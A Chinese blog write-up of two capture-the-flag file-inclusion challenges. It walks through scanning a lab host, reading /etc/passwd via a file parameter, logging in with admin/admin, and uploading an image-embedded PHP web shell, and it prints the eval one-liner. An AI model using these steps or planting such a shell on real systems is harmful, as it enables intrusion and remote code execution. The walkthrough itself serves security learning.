安鸾之文件包含系列
涂寐 Lv5

0x00 开题说明

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io

0x01 LFI本地文件包含

0o00 题目提示

1
2
3
4
5
LFI本地文件包含

题目URL:http://106.15.50.112:8014

提示:flag在网站跟目录下!

0o01 文件包含

  • 产生原因:程序员为更好地使用代码的重用性,引入文件包含函数,通过文件包含函数将文件包含到程序中,以便直接使用包含文件的代码。
  • 造成影响:直接读取服务器上文件,导致敏感文件泄露。若结合文件上传漏洞,将造成更大破坏。
  • 再次分类:①本地文件包含(LFI,服务器上资源)②远程文件包含(RFI,服务器外资源)。
  • 存在应用:web应用等都有存在,仅是 php 的摊子较大,较容易爆出该方面漏洞,故常被用来举例。
  • 注入点:观察URL链接中的page/include/path/file/link/url等字段。
  • 注:文件包含不是漏洞,能被攻击者控制才形成漏洞。

0o02 包含过程

  • 先拿新装的 Nessus 扫一波,看图吧。此处仅试试 Nessus 使用效果,后续看情况利用。
    image

  • 拿 dirsearch 扫一波:dirsearch -u http://106.15.50.112:8014 -i 200 -t 5
    image

  • 分别访问下目录:
    http://106.15.50.112:8014/upload/是几张图,大致是上传时的图片马,点开火绒一个劲的报毒;
    http://106.15.50.112:8014/upload.php则是一个上传点,且存在白名单限制;
    http://106.15.50.112:8014/index.php?file=test.php一看就不正经,修改test.php/etc/passwd,得到靶机系统中所有的用户和用户的主要信息,另两个目录类似。

  • 彩蛋:this_is_th3_F14g_27726623fabee80870ab072b70178308.txt
    image

  • 具体测试发现,上传点检测后缀以及Content-Type,上传成功后返回路径。

  • 构造图片马直接上传,通过站点暴露地文件包含功能执行使图片马中的php代码(http://106.15.50.112:8014/index.php?file=upload/20xxx.jpg),生成tumei.php文件,其内容为<?php @eval($_POST["tumei"]);?>,拿蚁剑连接。

  • 注:若URL链接路径不存在,直接跳转到http://106.15.50.112:8014/index.php?file=test.php
    image

  • 代码审计(未放出)

  • 针对upload.php

  1. empty($_FILES["file"])进行文件判空;
  2. explode()点分割上传的文件名,拿到最后一个点后的内容(上传的后缀);
  3. 通过@$_FILES["file"]["type"]判断上传文件的MIME 类型,@$_FILES["file"]["size"]判断文件大小,以及in_array()判断后缀是否符合要求。
  4. 若符合,则组合当前时间、1000~9999随机数以及提取的后缀形成新的文件名;
  5. 之后,通过move_uploaded_file()移动上传到服务器的临时文件到upload目录下,具体:move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)
  6. 最后,通过file_get_contents()将保存的文件内容写入到一个字符串中(图片内容为二进制数据),file_put_contents()重新写入到upload/filename文件中,最后的最后echo回显前端。
  • 针对index.php
  1. 通过isset($_GET['file'])判断变量被设置且非NULL。
  2. 符合要求,则获取包含文件名,即$_GET['file']的内容;同时,isset($file)判断是否设置且非NULL。
  3. 符合条件,则preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file)进行正则判断,使无法远程包含、其他协议利用;strstr($file,"..")判断是否含有多余的..,避免目录遍历;strlen($file)判断文件名长度。如上条件,一个不符直接报NAIVE!!!。反之,include($file)引入并执行$file中文件内容。
  4. 注:找到http://106.15.50.112:8014/index.php?file=访问上传的图片时内容乱码的原因(直接访问图片文件,另存为,本地查看不乱码)——include()所致。具体原因,说是引入文件和当前文件字符集编码不一致?打住,这不是重点,跳过。懂的师傅可以留言……
    image

0o03 参考资料

0x02 LFI本地文件包含02

0o00 题目提示

1
2
3
4
5
LFI本地文件包含02

题目URL:http://106.15.50.112:8028/

提示:flag在服务器根目录。

0o01 包含过程

  • 访问链接,一股熟悉感涌上心头,看轮播图像那啥凡模板来着。先扫目录吧……找到一堆目录遍历和一个登录口。登录口果断一波弱口令,嘿admin/admin

  • 观察后台,!!!文件包含!!!看样子就添加频道那比较像,频道模板和详情模板调用了php文件。老规矩喽,上图片马,再包含。
    image

  • 上传文件时。

  • 图片路径:uploadfile/image/20220611/20220611172627_53530.jpg

  • 由于不知道c_article.php的路径,想到使用绝对路径/var/www/html/uploadfile/image/20220611/20220611172627_53530.jpg访问图片马,无果(都指定网站根目录了,还给我访问其他目录???)。改用../不断测试其在哪个上级目录,以找到网站根目录,再返回去查找图片马的位置,使文件包含成功实现,此处使用../../uploadfile/image/20220611/20220611172627_53530.jpg成功。

  • getshell后。

  • 模型文件路径:/var/www/html/template/1/c_article.php

  • 服务器根目录的flag:flag{e338c8f9ada22f53}
    image

  • 后面,dirsearch扫完,阿狸个粑粑
    image

0x03 完本总结

学到的姿势更会了,GoGoGo……

 评论